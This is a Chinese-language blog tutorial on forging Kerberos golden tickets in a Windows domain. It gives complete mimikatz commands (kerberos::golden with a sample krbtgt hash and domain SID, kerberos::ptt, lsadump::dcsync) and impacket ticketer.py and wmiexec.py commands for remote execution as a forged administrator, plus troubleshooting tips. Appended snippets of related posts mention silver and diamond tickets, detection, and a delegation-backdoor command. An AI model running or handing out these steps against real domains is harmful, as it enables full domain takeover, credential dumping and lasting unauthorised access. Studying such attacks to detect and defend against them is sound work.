黄金票据的制作与使用

VSole2021-09-28 08:52:39

原理

黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。

所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个实现方式。

kerberos协议原理请参考:NTML认证与kerberos认证与PAC相关知识。

前置条件

1.krbtgt的hash

2.本地管理员权限

3.域的sid(普通用户的sid除去最后三位就是域的sid)

4.域内任意用户的本地管理员权限

操作步骤

清空已有票据

kerberos::purge

制作黄金票据

kerberos::golden/user:Administrator/domain:test.com/sid:S-1-5-21-4166986646-4168497534-2490551922 /krbtgt:308390d1ca7addf22c84ba9f1d26cbe4 /ticket:1.kirbi

加载黄金票据

kerberos::ptt 1.kirbi

检测成果

lsadump::dcsync /domain:test.com /user:krbtgt

使用mimikatz实现

mimikatz下载地址:https://github.com/gentilkiwi/mimikatz/releases

假设我们已经通过某种方式获得了域控的krbtgt的hash为d8d2ad72a119a8d418703f7a16580af6。

1.开启一个管理员权限的cmd窗口

2.使用mimikatz

第一步:提权&清空票据

klist purge #在cmd中执行

privilege::Debug

kerberos::purge

kerberos::list

第二步:制作黄金票据

获得域sid:S-1-5-21-3763276348-88739081-2848684050-1110

执行命令:

kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi

执行结束后,会在运行目录生成一个1.kirbi的文件。

第三步:使用黄金票据

这时候我们先看看能不能使用dcsync命令,这个命令是只有域控权限才能使用的,作用是导出域内所有用户的账号密码。当然结果肯定是失败的:

因为我们并没有域控的“身份证”也就是tgt。

这时候我们将刚制作好的伪造的tgt导入系统并进行测试:

kerberos::ptt 1.kirbi

lsadump::dcsync /domain:test.com /user:krbtgt

遇到的一些坑

做完票据后执行lsadump::dcsync /domain:test.com /user:krbtgt会报错。后来研究了很久才发现,只要稍等几分钟然后测试执行那个命令就会成功,或者退出mimikatz再进去就可以成功,原理我也不知道。

这种票据只会存在管理员权限的命令行窗口中,如果这时候换一个命令行窗口执行,就会发现没有这个凭证。

利用impacket实现

原理跟利用mimikatz一样,只是利用的工具不一样而已。

实现

第一步:打开管理员权限的命令行窗口并清空票据

第二步:制作ccache文件

python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain test.com administrator

第三步:更改环境变量

set KRB5CCNAME=C:\Users\zhangsan\Desktop\impacket-examples-windows-master\administrator.ccache

第四步:验证成果

python wmiexec.py test.com/administrator@yukong -k -no-pass

总结

利用impacket来进行票据的制作有一定的局限性,制作完票据后在klist命令下是看不到缓存的。也没办法使用net use \\ip\admin$ 来建立管道连接。但可以使用其自带的工具在在一定的命令格式下进行远控指定主机。命令格式为:

xxxx.py domain/username@hostname -k -no-pass

这里的domain必须跟systeminfo中的domain的值一样。

hostname 可以通过net view命令,或者nbtstat -A ip,或者ping -a ip来确定,推荐ping -a命令。

因为test为域名,所以yukong就为主机名。

FQDN是什么?
FQDN是完全合格域名/全程域名缩写,Fully Qualified Domain Name,即是域名,访问时将由DNS进行解析,得到IP。FQDN = Hostname + DomainName,举个例子,一个公司申请了域名comp.com,这时候有一台主机名为web,则可以使用web.comp.com得到这个主机IP。若还有两台提供邮件和OA服务的主机cmail,oa,则这时候可以用以下FQDN:
cmail.comp.com
oa.comp.com

impacket的更多用法请看下面这篇文章:

https://blog.csdn.net/qq_41874930/article/details/108253531

domain票据
本作品采用《CC 协议》,转载必须注明作者和本文链接
上网搜索这个hdhcms是开源的,我们下载源码,搜索我们需要利用的文件。上线后第一步,查看自己所获取的权限whoami。可惜,
原理黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。第四步主要是来验证客户端的身份。所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。
客户端收到该信息,使用自己的密码进行解密之后,得到TGT票据。客户端将服务请求与该ticket一并发送给相应的服务端即可。0x02 Kerberos协议具体流程 用户登陆 用户使用客户端上的程序进行登陆。客户端认证 客户端从认证服务器获取票据授权票据Ticket Granting Ticket简称TGT。服务器Server向客户端Client提供相应的服务。0x03 白银票据Silver Ticket伪造 白银票据伪造的是TGS的票据,是一个点对点的有效凭证。
当攻击者获取到域内krbtgt帐户的SID和HASH,就可以随意伪造域内管理员用户,再加上域帐户krbtgt的密码基本不会更改,即使域管修改了密码,攻击者依然可以通过黄金票据获取域管理员权限。在域环境中,黄金票据无疑是一种特别危险的攻击,是域控权限失陷的特征,基于AD Event日志如何检测黄金票据攻击,我们来研究一下。利用mimikatz在域控服务器导出krbtgt的SID值和哈希值。
Kerberos认证介绍Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
在了解票据攻击的过程中,看见了一篇文章使用Rubeus进行钻石票据攻击。但是没有原理,于是抱着学习的心态在Google上寻找文章发现除了钻石票据还有蓝宝石票据
域渗透就是基于windows域环境的渗透,而域渗透涉及到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)
金票可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。
接管域控或权限提升
攻击者在获取到域控权限后,可以利用约束委派或者基于资源的约束委派实现后门,以实现达到维持权限的目的。基于AD Event日志监视对特定 Active Directory 属性的修改,从而发现可疑的域委派后门。设置约束委派setspn -U -A cifs/test test
VSole
网络安全专家